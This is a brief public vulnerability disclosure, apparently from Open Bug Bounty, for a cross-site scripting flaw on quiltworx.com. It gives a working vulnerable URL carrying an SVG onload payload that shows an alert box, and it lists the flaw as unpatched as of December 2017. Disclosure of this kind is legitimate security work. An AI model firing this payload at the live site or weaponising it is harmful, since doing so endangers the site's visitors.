quiltworx.com XSS vulnerability

Vulnerable URL: http://www.quiltworx.com/patterns/lumina-feathered-star/!prettyPhoto/0,%3Csvg/onload=alert%27openbugbounty%27%3E/x Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...